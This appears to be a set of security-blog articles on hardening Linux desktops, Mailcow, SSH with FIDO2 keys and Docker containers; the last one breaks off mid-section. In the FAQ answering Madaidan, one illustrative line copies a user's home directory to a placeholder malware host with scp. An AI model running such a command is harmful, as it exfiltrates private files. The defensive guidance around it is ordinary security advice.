It is desirable to remove SUID from as many binaries as possible; however, this takes substantial effort and trial and error on the user’s part, as some applications require SUID to function.

Kicksecure, and by extension Whonix, has an experimental permission hardening service and application whitelist to automate SUID removal from most binaries and libraries on the system. From my testing, these work perfectly fine on minimal Kicksecure installations and both Qubes-Whonix-Workstation and Qubes-Whonix-Gateway.

DNSSEC

Most Linux distributions do not enable DNSSEC by default. I recommend that you enable it to make sure that the responses to your DNS queries are authentic. You will need a DNS provider that supports DNSSEC. Ideally, you should use a VPN which provides this feature with its DNS servers so that you can also blend in with other people.

On systems with systemd-resolved, you can edit the /etc/systemd/resolved.conf file and add DNSSEC=yes to enable it. Run systemctl restart systemd-resolved after you are done editing to apply your configuration.

If you are a Whonix or Tails user, you can disregard setting up DNSSEC, as Tor DNS resolution does not support it. Alternatively, you can use a non-Tor resolver, though it is not recommended that you do this for an extended amount of time.

Time Synchronization

Most Linux distributions by default use the unencrypted and unauthenticated Network Time Protocol (NTP) for time synchronization. There are two ways to easily solve this problem:

• Configure Network Time Security (NTS) with chronyd
• Use Kicksecure’s sdwdate on Debian‑based distributions.

If you decide on using NTS with chronyd, consider using multiple, independent time providers and setting minsources to a value greater than 1.

GrapheneOS uses a quite nice chrony configuration for their infrastructure. I recommend that you replicate their chrony.conf on your system.

Next, enable the secommp filter for chronyd. On Fedora and Arch Linux, you will need to edit Chrony’s environment file in /etc/sysconfig/chronyd:

# Command-line options for chronyd
OPTIONS="-F 1"

On Ubuntu and Debian, the environment file is /etc/default/chrony, and the seccomp filter should already be enabled by default.

Pluggable Authentication Modules (PAM)

PAM’s settings can be hardened to improve authentication security (though keep in mind the bypassable nature of PAM as opposed to encryption).

On Red Hat distributions, you can use authselect to configure this, e.g.:

sudo authselect select <profile_id, default: sssd> with-faillock without-nullok with-pamaccess

On systems where pam_faillock is not available, consider using pam_tally2 instead.

If you have a YubiKey or another U2F/FIDO2 authenticator, you can use pam-u2f to implement two‑factor authentication for login. Make sure to use a hardcoded origin and appid as indicated in the ArchWiki. Do not use the default identifier pam://$HOSTNAME which will break if your hostname changes.

Storage Media Handling

Some Linux distributions and desktop environments automatically mount arbitary filesystems upon storage media insertion. This is a security risk, as an adversary can attach a malicious storage device to your computer to exploit vulnerable filesystem drivers.

This behavior is disabled by default on Whonix.

UDisks

GNOME users on systems with UDisks can mitigate this risk by running the following commands:

echo '[org/gnome/desktop/media-handling]
automount=false
automount-open=false' | sudo tee /etc/dconf/db/local.d/automount-disable

echo 'org/gnome/desktop/media-handling/automount
org/gnome/desktop/media-handling/automount-open' | sudo tee /etc/dconf/db/local.d/locks/automount-disable

sudo dconf update

This will disable automounting and prevent users from overriding that setting (without privileges).

Cinnamon uses the same configuration/commands except with cinnamon substituted in place of gnome. Other desktop environments based on GNOME 3 likely follow a similar pattern — use gsettings to investigate.

autofs

On older systems where autofs is used, you should mask the autofs service to disable this behavior.

USB Port Protection

To better protect your USB ports from attacks such as BadUSB and the infamous Hak5 USB Rubber Ducky, I recommend USBGuard. Documentation is available on the USBGuard website and ArchWiki.

If you are using linux‑hardened, you can alternatively use the deny_new_usb kernel parameter — see “Preventing USB Attacks with linux-hardened”.

Secure Boot

Secure Boot can be used to secure the boot process by preventing the loading of unsigned UEFI drivers and bootloaders.

One of the problems with Secure Boot, particularly on Linux, is that only the chainloader (shim), bootloader (GRUB), and kernel are verified in a typical setup. The initramfs is often left unverified and unencrypted, leaving the door open for an evil maid attack.

The firmware on most devices is also preconfigured to trust Microsoft’s keys for both Windows and third‑parties, leading to a large attack surface.

Enrolling your own keys

Please note that this procedure will brick some non‑compliant UEFI implementations. You should research your specific computer/motherboard, looking for reported successes and failures alike, before attempting. Ideally, you should be prepared to reprogram the EEPROM to a known‑good state if something goes catastrophically wrong. Integrated ‘BIOS flashback’ functionality may be an adequate recovery option.

To eliminate the need to trust the OEM’s keys, I recommend using sbctl.

First, you need to boot into your firmware interface and enter Secure Boot setup mode. Then boot back into Linux and follow the instructions to generate and enroll your own keys.

On certain hardware, this will not work. Instead, you will need to export the public key to your EFI partition and manually import it through your firmware interface:

openssl x509 -in /usr/share/secureboot/keys/db/db.pem -outform DER -out /boot/efi/EFI/fedora/DB.der

Unified Kernel Image

On most desktop Linux systems, it is possible to create a unified kernel image (UKI) that contains the kernel, initramfs, and microcode. This unified kernel image can then be signed with the keys created by sbctl.

For Fedora Workstation, you can follow Håvard Moen’s guide which covers sbctl installation, unified kernel image generation with dracut, and automatic signing with systemd‑boot.

On Arch, the process is very similar, though sbctl is already included in the official repositories and you will need to switch from mkinitcpio to dracut. Arch with linux‑hardened works well with sbctl, but some level of tedious pacman hooks are required for appropriately timing the re‑signing of all relevant files every time the kernel or bootloader is updated.

Afterwards, you need to use systemd-cryptenoll and pin your encryption key against certain PCRs to detect tampering against the firmware. At minimum, you should pin PCR 7 for Secure Boot polices. Personally, I pin PCR 0,1,2,3,5,7, and 14.

Whenever you manually generate a UKI, make sure that the kernel is from the distribution vendor, and that initramfs is freshly generated. Reinstall the kernel package if you have to.

In my opinion, this is the most straightforward setup. However, it does not appear to work well with specialized setups such as Fedora Silverblue/Kinoite. More testing is needed to see if they can be made to work.

Notes on Secure Boot

After setting up Secure Boot, you should password-protect your UEFI settings (sometimes called ‘supervisor’ or ‘administrator’ password) as it is good security practice. This does not protect against an attacker with a programmer however - you need to pin PCRs to detect tampering as mentioned above.

These recommendations can make you a little more resistant to evil maid attacks, but they do not constitute a proper verified boot process as found on Android, ChromeOS, or Windows.

There is already a very in-depth technical blog explaining the various security weaknesses of Linux by Madaidan, Whonix’s Security Researcher. This page will attempt to address some of the questions commonly raised in reaction to his blog post. You can find the original article here.

Why is Linux used on servers if it is so insecure?

On servers, while most of the problems referenced in the article still exist, they are somewhat less problematic.

On Desktop Linux, GUI applications run under your user, and thus have access to all of your files in /home. This is in contrast to how system daemons typically run on servers, where they have their own group and user. For example, NGINX will run under nginx:nginx on Red Hat distributions, or www-data:www-data on Debian based ones. Discretionary Access Control does help with filesystem access control for server processes, but is useless for desktop applications.

Another thing to keep in mind is that Mandatory Access Control is also somewhat effective on servers, as commonly run system daemons are confined. In contrast, on desktop, there is virtually no AppArmor profile to confine even regularly used apps like Chrome or Firefox, let alone less common ones. On SELinux systems, these apps run in the UNCONFINED SELinux domain.

Linux servers are lighter than Desktop Linux systems by orders of magnitude, without hundreds of packages and dozens of system daemons running like X11, audio servers, printing stack, and so on. Thus, the attack surface is much smaller.

Linux Hardening Myths

There is a common claim in response to Madaidan that Linux is only insecure by default, and that an experienced user can make it the most secure operating system out there, surpassing the likes of macOS or ChromeOS. Unfortunately, this is wishful thinking. There is no amount of hardening that one can reasonably apply as a user to shore up the inherent issues with Linux.

Lack of verified boot

Android, macOS, and ChromeOS have a clear distinction between the system and user installed applications. In oversimplified terms, the system volume is signed by the OS vendor, and the firmware and boot loader works to make sure that said volume has the authorized signature. The operating system itself is immutable, and nothing the user does will need or be allowed to tamper with the system volume.

Meanwhile, on Linux, there is no clear distinction between the system and user installed applications. Linux distributions are a bunch of packages put together to make a system that works, and thus every package is treated as part of said system. The end result is that binaries, regardless of whether they are vital for the system to function or just an extra application, are thrown into the same directories as each other (namely /usr/bin and /usr/local/bin). This makes it impossible for an end user to setup a verification mechanism to verify the integrity of “the system”, as said “system” is not clearly defined in the first place.

Lack of application sandboxing

Operating systems like Android and ChromeOS have full system mandatory access control; that is, every process from the init process is strictly confined. Regardless of which application you install or how you install them, they have to play by the rules of an untrusted SELinux domain and are only able to utilize unprivileged APIs.

Even on macOS, where the application sandbox is opt-in for developers, there is still a permission control system (TCC) for unprivileged applications. Apps run by the user do not have unrestricted access to their microphone, webcam, keystrokes, sensitive documents, and so on.

On Linux, it is quite the opposite. Out of the box, most systems only have a few system daemons confined. Some Linux distributions don’t even have a Mandatory Access Control system at all. Applications are designed in an environment where they expect to be able to do whatever they want, and the app sandboxes/mandatory access control system are merely an afterthought trying to restrict an app to only access what it expects to be accessible.

This is reflected in the under utilization of the Portals API as an example. Portals is designed to be an API where apps have to prompt the user to access their files (through the File Manager) or their microphone and camera. Unfortunately, the vast majority of apps are not designed with this in mind, and expect direct access to the filesystem, pulseaudio socket or the entire /dev. As a result, Flatpak maintainers often opt to have extremely lax permissions to the point where they have to grant filesystem=home, filesystem=host, socket=pulseaudio or devices=all, otherwise apps will break and give users a bad experience.

To make matters worse, some system daemons are not designed with permission control in mind at all. For example, PulseAudio does not have any concept of audio in or out permission. Thus, the user is often left with only the choice of granting an app access to the socket or not. If they want to block microphone access, they have to block access to the socket, and thus break audio playback in the process. If they do want an audio playback, then they have to allow access to the PulseAudio socket, which in turns give an app unrestricted access to record them at any moment.

The only way to systematically fix this problem is to design a whole new system from scratch with a permission model like that of Android in mind. And even when that happens, it will take substantial work to get developers to develop their apps for said system.

But Linux is open source!

Something being open source does not imply that it is inherently private, secure, or trustworthy. I recommend reading the FLOSS Security post by Rohan Kumar.

But there is less malware on Linux!

Security by irrelevance does not work. Just because there are fewer users of your favorite operating system does not make it any safer.

Ask yourself this: Would you ditch Windows for ReactOS because it is a lot less popular and is less targeted? Likewise, would you ditch Linux desktop when it becomes the mainstream solution for the BSDs or some niche operating systems just because they are less popular?

Malware for Linux does exist, and it is not hard to make. It can be something as trivial as a shell script or binary executing scp -r ~/ malware@xx.xx.xx.xx:/data. Due to the lack of application sandboxing or an application permission model, your computer can be compromised the moment you execute a malicious binary, shell script, or install script with or without root and with or without an exploit. This is, of course, not to discount the fact that many exploits do exist on Linux just like on any other operating systems as well.

Mailcow is a fairly popular self-hosted mail server. If you use it, there are a few ways you can improve its security by following these steps.

Postfix Configuration

Consider disabling weak ciphers and TLS versions below 1.2 in data/conf/postfix/extra.cf:

tls_high_cipherlist = ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256
tls_preempt_cipherlist = yes

smtp_tls_protocols = !SSLv2, !SSLv3, !TLSv1, !TLSv1.1
smtp_tls_ciphers = high
smtp_tls_mandatory_ciphers = high

smtpd_tls_protocols = !SSLv2, !SSLv3, !TLSv1, !TLSv1.1
smtpd_tls_ciphers = high
smtpd_tls_mandatory_ciphers = high

NGINX Configuration

These security configurations can be added/modified in data/conf/nginx/includes/site-defaults.conf.

SSL Ciphers

Consider only supporting strong ciphers:

ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384;

And prioritize ChaCha ciphers:

ssl_conf_command Options PrioritizeChaCha;

HSTS

Consider adding includeSubDomains; and preload; to the HSTS configuration if all of your services are using HTTPS:

add_header Strict-Transport-Security "max-age=63072000; includeSubDomains; preload";

X-XSS-Protection

We will setup Content Security, so this header is no longer needed. In fact, it may do more harm than good. Change the setting to 0:

add_header X-XSS-Protection "0";

Permission Policy

Mailcow does not need any special permissions to operate, except for USB which is needed to access your FIDO2 keys if you use them.

Add this header to deny other permissions:

add_header Permissions-Policy "accelerometer=(), ambient-light-sensor=(), autoplay=(), battery=(), browsing-topics=(), camera=(), clipboard-read=(), display-capture=(), document-domain=(), encrypted-media=(), fullscreen=(), geolocation=(), gyroscope=(), hid=(), idle-detection=(), interest-cohort=(), magnetometer=(), microphone=(), midi=(), payment=(), picture-in-picture=(), screen-wake-lock=(), serial=(), usb=(), sync-xhr=(), xr-spatial-tracking=()";

Content Security Policy

Use the following as your Content Security Policy:

If you use Gravatar with SOGo

add_header Content-Security-Policy "default-src 'none'; connect-src 'self' https://api.github.com https://www.gravatar.com; font-src 'self' https://fonts.gstatic.com; img-src 'self' data: https://www.gravatar.com; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com; frame-ancestors 'none'; upgrade-insecure-requests; block-all-mixed-content; base-uri 'none'";

If you do not use Gravatar with SOGo

add_header Content-Security-Policy "default-src 'none'; connect-src 'self' https://api.github.com; font-src 'self' https://fonts.gstatic.com; img-src 'self' data:; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com; frame-ancestors 'none'; upgrade-insecure-requests; block-all-mixed-content; base-uri 'none'";

Cross-Origin Resource, Opener, and Embedder Policies

Mailcow does not use any cross site scripts, or documents. Thus, you should set CORP and COOP headers to their strictest configuration:

add_header Cross-Origin-Resource-Policy same-origin;
add_header Cross-Origin-Opener-Policy same-origin;

If you do not use Gravatar with SOGo, you can also set COEP to require-corp since image embedding will not be used either:

add_header Cross-Origin-Embedder-Policy require-corp;

GZIP Compression

Disable gzip compression to avoid the BREACH attack. Change gzip on; to gzip off;.

Release Cycle

You should choose a distribution which stays close to the stable upstream software releases, typically rolling release distributions. This is because frozen release cycle distributions often don’t update package versions and fall behind on security updates.

For frozen distributions, package maintainers are expected to backport patches to fix vulnerabilities (Debian is one such example) rather than bump the software to the “next version” released by the upstream developer. Some security fixes do not receive a CVE (particularly less popular software) at all and therefore do not make it into the distribution with this patching model. As a result minor security fixes are sometimes held back until the next major release.

In fact, in certain cases, there have been vulnerabilities introduced by Debian because of their patching process. Bug 1633467 and DSA-1571 are examples of this.

The practice of holding packages back and applying interim patches is generally not a good idea, as it diverges from the way the developer might have intended the software to work. Richard Brown has a presentation about this:

Even if you are worried about the stability of the system because of regularly updated packages (which you shouldn’t be), it makes more sense to use a system which you can safely update and rollback instead of an outdated distribution partially made up of unreliable backport packages without an easy rollback mechanism in case something goes wrong like Debian.

Arch-based Distributions

Arch Linux has very up-to-date packages with minimal downstream patching. That being said, Arch-based distributions are not recommended for those new to Linux, regardless of the distribution. Arch does not have an distribution update mechanism for the underlying software choices. As a result, you have to stay aware with current trends and adopt technologies as they supersede older practices on your own.

For a secure system, you are also expected to have sufficient Linux knowledge to properly set up security for your system such as adopting a mandatory access control system, setting up kernel module blacklists, hardening boot parameters, manipulating sysctl parameters, and knowing what components you need such as Polkit.

If you are experienced with Linux and wish to use an Arch-based distribution, you should use Arch Linux proper, not any of its derivatives. Downstream distributions may come with bad practices like holding back packages (as is the case with Manjaro), blindly building packages from the AUR (as is the case with Garuda and its Chaotic-AUR repository), or just not setting up the basics such as mandatory access control or firewalls.

“Security-focused” Distributions

There is often some confusion about “security-focused” distributions and “pentesting” distributions. A quick search for “the most secure Linux distribution” will often give results like Kali Linux, Black Arch and Parrot OS. These distributions are offensive penetration testing distributions that bundle tools for testing other systems. They don’t include any “extra security” or defensive mitigations intended for regular use.

Linux-libre Kernel and “Libre” Distributions

Do not use the Linux-libre kernel, since it removes security mitigations and suppresses kernel warnings about vulnerable microcode for ideological reasons.

If you want to use one of these distributions for reasons other than ideology, you should make sure that they there is a way to easily obtain, install, and update a proper kernel and missing firmware. For example, if you are looking to use GUIX, you should absolutely use something like the Nonguix repository and get all of the fixes as mentioned above.

Desktop Environments

Consider using GNOME as your desktop environment. It supports Wayland, a display protocol developed with security in mind, and implements permission control for privileged Wayland protocols like screencopy. There are other desktop environments and window managers with Wayland support, but we are not aware of any permission control implemented by them. One caveat with GNOME is that it is written in unsafe languages, but we think the trade off for permission control is well worth it.

Wayland’s predecessor, X11, does not support GUI isolation, allowing all windows to record screen, log and inject inputs in other windows, making any attempt at sandboxing futile. While there are options to run nested X11 sessions such as Xpra or Xephyr, they often come with negative performance consequences, are not convenient to set up, and are not preferable to Wayland. You should avoid desktop environments and window managers which only support X11.

Recommended Distributions

Here is a quick, non-authoritative list of distributions we recommend over others:

Fedora Workstation

Fedora Workstation is a great general-purpose Linux distribution, especially for those who are new to Linux. It is a semi-rolling release distribution. While some packages like GNOME are frozen until the next Fedora release, most packages (including the kernel) are updated frequently throughout the lifespan of the release. Each Fedora release is supported for one year, with a new version released every 6 months. The distribution takes an “upstream first” approach and ship packages with minimal downstream patching, and the patches are done in a sensible manner which does not unexpectedly break functionalities unlike Debian.

With that, Fedora generally adopts newer technologies before other distributions e.g., Wayland and PipeWire. These new technologies often come with improvements in security, privacy, and usability in general.

Fedora’s package manager, dnf, has a great rollback and undo feature that is generally missing from other package managers. You can read more about it on Red Hat’s documentation.

Fedora Atomic Desktops

Fedora Atomic Desktops are immutable variants of Fedora with a strong focus on container workflows. While they do not provide security benefits over Fedora, they have a much more reliable update mechanism. Unlike traditional Linux where packages are updated one by one, Atomic Desktops will download a whole new OS image first before rebooting to switch over to the new image. The system cannot fail in the middle of an update, and should something be wrong with the new image, it only takes one reboot to return the system to its previous state. Should you feel the dnf rollback mechanism isn’t enough, we recommend giving Fedora Atomic Desktops a try.

Adam Šamalík has a presentation with rpm-ostree in action:

One caveat with Fedora Atomic Desktops is that rpm-ostree currently has a hard dependency on grub and does not support Unified Kernel Images. The consequence of this is that unlike Fedora Workstation, it is not possible to set up a Fedora Atomic system with meaningful Secure Boot to resist physical tampering.

SecureBlue

SecureBlue provides hardened operating system images based on Fedora Atomic Desktops. While they do additional parties of trust (SecureBlue, GitHub infrastructure, BlueBuild, Negativo, etc), their images are substantially hardened and not easily replicated by hand. There are several very interesting packages maintained by SecureBlue as well:

• Trivalent, a hardened chromium desktop build with patches from GrapheneOS’s Vanadium.
• Hardened Malloc. SecureBlue packages GrapheneOS’s memory allocator and enables it system wide, including for Flatpak applications.

openSUSE Aeon

Fedora Atomic Desktop’s European counterpart. openSUSE Aeon is a rolling release, fast updating distributions with transactional updates using Btrfs and Snapper.

Aeon has a relatively small set of base packages (thus lowering the attack surface) and mounts the running BTRFS subvolume as read-only. Updates are applied package by package to a new BTRFS snapshot before the system is rebooted to the new subvolume. This allows the rollback process to be relatively easy just like on Fedora Atomic Desktops.

Whonix

Whonix is a distribution focused on anonymity based on Kicksecure. It is meant to run as two virtual machines: a “Workstation” and a Tor “Gateway.” All communications from the Workstation must go through the Tor gateway. This means that even if the Workstation is compromised by malware of some kind, the true IP address remains hidden. It is currently the best solution that I know of if your threat model requires anonymity.

Some of its features include Tor Stream Isolation, keystroke anonymization, boot clock randomization, encrypted swap, hardened boot parameters, and hardened kernel settings. One downside of Whonix is that it still inherits outdated packages with lots of downstream patching from Debian. It would be better if Whonix gets reimplemented on top of a more sensible base like SecureBlue, although no such system publicly exists yet.

Although Whonix is best used in conjunction with Qubes, Qubes-Whonix has various disadvantages when compared to other hypervisors.

Why?

The main problem with SSH keys is that they’re not magic: they consist of a key pair, of which the private key is stored on your disk. You should be wary of various exfiltration attempts, depending on your theat model:

• If your disk is not encrypted, any physical access could compromise your keys.
• If your private key isn’t encrypted, malicious applications could compromise it.
• Even with both encrypted, malicious applications could register your keystrokes.

All these attempts are particularly a thing on desktop platforms, because they don’t have a proper sandboxing model. On Windows, non-UWP apps could likely have full access to your .ssh directory. On desktop Linux distributions, sandboxing is also lacking, and the situation is even worse if you’re using X.org since it allows apps to spy on each other (and on your keyboard) by design. A first good step would be to only use SSH from a trusted & decently secure system.

Another layer of defense would obviously be multi-factor authentication, or the fact that you’re relying on a shared secret instead. We can use FIDO2 security keys for that. That way, even if your private key is compromised, the attacker needs physical access to your security key. TOTP is another common 2FA technique, but it’s vulnerable to various attacks, and relies on the quality of the implementation on the server.

How?

Fortunately for us, OpenSSH 8.2 (released in February 2020) introduced native support for FIDO2/U2F. Most OpenSSH distributions should have the middleware set to use the libfido2 library, including portable versions such as the one for Win32.

Basically, ssh-keygen -t ${key_type}-sk will generate for us a token-backed key pair. The key types that are supported depend on your security key. Newer models should support both ECDSA-P256 (ecdsa-sk) and Ed25519 (ed25519-sk). If the latter is available, you should prefer it.

Client configuration

To get started:

ssh-keygen -t ed25519-sk

This will generate a id_ed25519_sk private key and a id_ed25519_sk.pub public key in .ssh. These are defaults, but you can change them if you want. We will call this key pair a “handle”, because they’re not sufficient by themselves to derive the real secret (as you guessed it, the FIDO2 token is needed). ssh-keygen should ask you to touch the key, and enter the PIN prior to that if you did set one (you probably should).

You can also generate a resident key (referred to as discoverable credential in the WebAuthn specification):

ssh-keygen -t ed25519-sk -O resident -O application=ssh:user1

As you can see, a few options must be specified:

• -O resident will tell ssh-keygen to generate a resident key, meaning that the private “handle” key will also be stored on the security key itself. This has security implications, but you may want that to move seamlessly between different computers. In that case, you should absolutely protect your key with a PIN beforehand.
• -O application=ssh: is necessary to instruct that the resident key will use a particular slot, because the security key will have to index the resident keys (by default, they use ssh: with an empty user ID). If this is not specified, the next key generation might overwrite the previous one.
• -O verify-required is optional but instructs that a PIN is required to generate/access the key.

Resident keys can be retrieved using ssh-keygen -K or ssh-add -K if you don’t want to write them to the disk.

Server configuration

Next, transfer your public key over to the server (granted you have already access to it with a regular key pair):

ssh-copy-id -i ~/.ssh/id_ed25519_sk.pub user@server.domain.tld

Ta-da! But one last thing: we need to make sure the server supports this public key format in sshd_config:

PubkeyAcceptedKeyTypes ssh-ed25519,sk-ssh-ed25519@openssh.com

Adding sk-ssh-ed25519@openssh.com to PubkeyAcceptedKeyTypes should suffice. It’s best practice to only use the cryptographic primitives that you need, and hopefully ones that are also modern. This isn’t a full-on SSH hardening guide, but you should take a look at the configuration file GrapheneOS uses for their servers to give you an idea on a few good practices.

Restart the sshd service and try to connect to your server using your key handle (by passing -i ~/.ssh/id_ed25519_sk to ssh for instance). If that works for you (your FIDO2 security key should be needed to derive the real secret), feel free to remove your previous keys from .ssh/authorized_keys on your server.

That’s cool, right?

If you don’t have a security key, you can buy one from YubiKey (I’m very happy with my 5C NFC by the way), Nitrokey, SoloKeys or OnlyKey (to name a few). If you have an Android device with a hardware security module (HSM), such as the Google Pixels equipped with Titan M (Pixel 3+), you could even use them as Bluetooth security keys.

No reason to miss out on the party if you can afford it!

- Hey, your software doesn’t work…

- Sorry, it works on my computer! Can’t help you.

Whether we like them or not, containers are here to stay. Their expressiveness and semantics allow for an abstraction of the OS dependencies that a software has, the latter being often dynamically linked against certain libraries. The developer can therefore provide a known-good environment where it is expected that their software “just works”. That is particularly useful for development to eliminate environment-related issues, and that is often used in production as well.

Containers are often perceived as a great tool for isolation, that is, they can provide an isolated workspace that won’t pollute your host OS - all that without the overhead of virtual machines. Security-wise: containers, as we know them on Linux, are glorified namespaces at their core. Containers usually share the same kernel with the host, and namespaces is the kernel feature for separating kernel resources across containers (IDs, networks, filesystems, IPC, etc.). Containers also leverage the features of cgroups to separate system resources (CPU, memory, etc.), and security features such as seccomp to restrict syscalls, or MACs (AppArmor, SELinux).

At first, it seems that containers may not provide the same isolation boundary as virtual machines. That’s fine, they were not designed to. But they can’t be simplified to a simple chroot either. We’ll see that a “container” can mean a lot of things, and their definition may vary a lot depending on the implementation: as such, containers are mostly defined by their semantics.

Docker is dead, long live Docker… and OCI!

When people think of containers, a large group of them may think of Docker. While Docker played a big role in the popularity of containers a few years ago, it didn’t introduce the technology: on Linux, LXC did (Linux Containers). In fact, Docker in its early days was a high-level wrapper for LXC which already combined the power of namespaces and cgroups. Docker then replaced LXC with libcontainer which does more or less the same, plus extra features.

Then, what happened? Open Container Initiative (OCI). That is the current standard that defines the container ecosystem. That means that whether you’re using Docker, Podman, or Kubernetes, you’re in fact running OCI-compliant tools. That is a good thing, as it saves a lot of interoperability headaches.

Docker is no longer the monolithic platform it once was. libcontainer was absorbed by runc, the reference OCI runtime. The high-level components of Docker split into different parts related to the upstream Moby project (Docker is the “assembled product” of the “Moby components”). When we refer to Docker, we refer in fact at this powerful high-level API that manages OCI containers. By design, Docker is a daemon that communicates with containerd, a lower-level layer, which in turn communicates with the OCI runtime. That also means that you could very well skip Docker altogether and use containerd or even runc directly.

Docker client <=> Docker daemon <=> containerd <=> containerd-shim <=> runc

Podman is an alternative to Docker developed by RedHat, that also intends to be a drop-in replacement for Docker. It doesn’t work with a daemon, and can work rootless by design (Docker has support for rootless too, but that is not without caveats). I would largely recommend Podman over Docker for someone who wants a simple tool to run containers and test code on their machine.

Kubernetes (also known as K8S) is the container platform made by Google. It is designed with scaling in mind, and is about running containers across a cluster whereas Docker focuses on packaging containers on a single node. Docker Swarm is the direct alternative to that, but it has never really took off due to the popularity of K8S.

For the rest of this article, we will use Docker as the reference for our examples, along with the Compose specification format. Most of these examples can be adapted to other platforms without issues.

The nightmare of dependencies

Containers are made from images, and images are typically built from a Dockerfile. Images can be built and distributed through OCI registries: Docker Hub, Google Container Registry, GitHub Container Registry, and so on. You can also set up your own private registry as well, but the reality is that people often pull images from these public registries.

Images, immutability and versioning

Images are what make containers, well, containers. Containers made from the same image should behave similarly on different machines. Images can have tags, which are useful for software versioning. The usage of generic tags such as latest is often discouraged because it defeats the purpose of the expected behavior of the container. Tags are not necessarily immutable by design, and they shouldn’t be (more on that below). Digest, however, is the attribute of an immutable image, and is often generated with the SHA-256 algorithm.

docker.io/library/golang:1.17.1@sha256:232a180dbcbcfa7250917507f3827d88a9ae89bb1cdd8fe3ac4db7b764ebb25
         ^          ^       ^                                   ^ 
         |          |       |                                   |
     Registry     Image    Tag                          Digest (immutable)

Now onto why tags shouldn’t be immutable: as written above, containers bring us an abstraction over the OS dependencies that are used by the packaged software. That is nice indeed, but this shouldn’t lure us into believing that we can forget security updates. The fact is, there is still a whole OS to care about, and we can’t just think of the container as a simple package tool for software.

For these reasons, good practices were established:

• An image should be as minimal as possible (Alpine Linux, or scratch/distroless).
• An image, with a given tag, should be regularly built, without cache to ensure all layers are freshly built.
• An image should be rebuilt when the images it’s based on are updated.

A minimal base system

Alpine Linux is often the choice for official images for the first reason. This is not a typical Linux distribution as it uses musl as its C library, but it works quite well. Actually, I’m quite fond of Alpine Linux and apk (its package manager). If a supervision suite is needed, I’d look into s6. If you need a glibc distribution, Debian provides slim variants for lightweight base images. We can do even better than using Alpine by using distroless images, allowing us to have state-of-the-art application containers.

“Distroless” is a fancy name referring to an image with a minimal set of dependencies, from none (for fully static binaries) to some common libraries (typically the C library). Google maintains distroless images you can use as a base for your own images. If you were wondering, the difference with scratch (empty starting point) is that distroless images contain common dependencies that “almost-statically compiled” binaries may need, such as ca-certificates.

However, distroless images are not suited for every application. In my experience though, distroless is an excellent option with pure Go binaries. Going with minimal images drastically reduces the available attack surface in the container. For example, here’s a multi-stage Dockerfile resulting in a minimal non-root image for a simple Go project:

FROM golang:alpine as build
WORKDIR /app
COPY . .
RUN CGO_ENABLED=0 go mod -o /my_app cmd/my_app

FROM gcr.io/distroless/static
COPY --from=build /my_app /
USER nobody
ENTRYPOINT ["/my_app"]

The main drawback of using minimal images is the lack of tools that help with debugging, which also constitute the very attack surface we’re trying to get rid of. The trade-off is probably not worth the hassle for development-focused containers, and if you’re running such images in production, you have to be confident enough to operate with them. Note that the gcr.io/distroless images have a :debug tag to help in that regard.

Keeping images up-to-date

The two other points are highly problematic, because most software vendors just publish an image on release, and forget about it. You should take it up to them if you’re running images that are versioned but not regularly updated. I’d say running scheduled builds once a week is the bare minimum to make sure dependencies stay up-to-date. Alpine Linux is a better choice than most other “stable” distributions because it usually has more recent packages.

Stable distributions often rely on backporting security fixes from CVEs, which is known to be a flawed approach to security since CVEs aren’t always assigned or even taken care of. Alpine has more recent packages, and it has versioning, so it’s once again a particularly good choice as long as musl doesn’t cause issues.

Is it really a security nightmare?

When people say Docker is a security nightmare because of that, that’s a fair point. On a traditional system, you could upgrade your whole system with a single command or two. With Docker, you’ll have to recreate several containers… if the images were kept up-to-date in the first place. Recreating itself is not a big deal actually: hot upgrades of binaries and libraries often require the services that use them to restart, otherwise they could still use an old (and vulnerable) version of them in memory. But yeah, the fact is most people are running outdated containers, and more often than not, they don’t have the choice if they rely on third-party images.

Trivy is an excellent tool to scan images for a subset of known vulnerabilities an image might have. You should play with it and see for yourself how outdated many publicly available images are.

Supply-chain attacks

As with any code downloaded from a software vendor, OCI images are not exempt from supply-chain attacks. The good practice is quite simple: rely on official images, and ideally build and maintain your own images. One should definitely not automatically trust random third-party images they can find on Docker Hub. Half of these images, if not more, contain vulnerabilities, and I bet a good portion of them contains malwares such as miners or worse.

As an image maintainer, you can sign your images to improve the authenticity assurance. Most official images make use of Docker Content Trust, which works with a OCI registry attached to a Notary server. With the Docker toolset, setting the environment variable DOCKER_CONTENT_TRUST=1 enforces signature verification (a signature is only good if it’s checked in the first place). The SigStore initiative is developing cosign, an alternative that doesn’t require a Notary server because it works with features already provided by the registry such as tags. Kubernetes users may be interested in Connaisseur to ensure all signatures have been validated.

Leave my root alone!

Attack surface

Traditionally, Docker runs as a daemon owned by root. That also means that root in the container is actually the root on the host and may be a few commands away from compromising the host. More generally, the attacker has to exploit the available attack surface to escape the container. There is a huge attack surface, actually: the Linux kernel. Someone wise once said:

The kernel can effectively be thought of as the largest, most vulnerable setuid root binary on the system.

That applies particularly to traditional containers which weren’t designed to provide a robust level of isolation. A recent example was CVE-2022-0492: the attacker could abuse root in the container to exploit cgroups v1, and compromise the host. Of course defense-in-depth measures would have prevented that, and we’ll mention them. But fundamentally, container escapes are possible by design.

Breaking out via the OCI runtime runc is also possible, although CVE-2019-5736 was a particularly nasty bug. The attacker had to gain access to root in the container first in order to access /proc/[runc-pid]/exe, which indicates them where to overwrite the runc binary.

Good practices have been therefore established:

• Avoid using root in the container, plain and simple.
• Keep the host kernel, Docker and the OCI runtime updated.
• Consider the usage of user namespaces.

By the way, it goes without saying that any user who has access to the Docker daemon should be considered as privileged as root. Mounting the Docker socket (/var/run/docker.sock) in a container makes it highly privileged, and so it should be avoided. The socket should only be owned by root, and if that doesn’t work with your environment, use Docker rootless or Podman.

Avoiding root

root can be avoided in different ways in the final container:

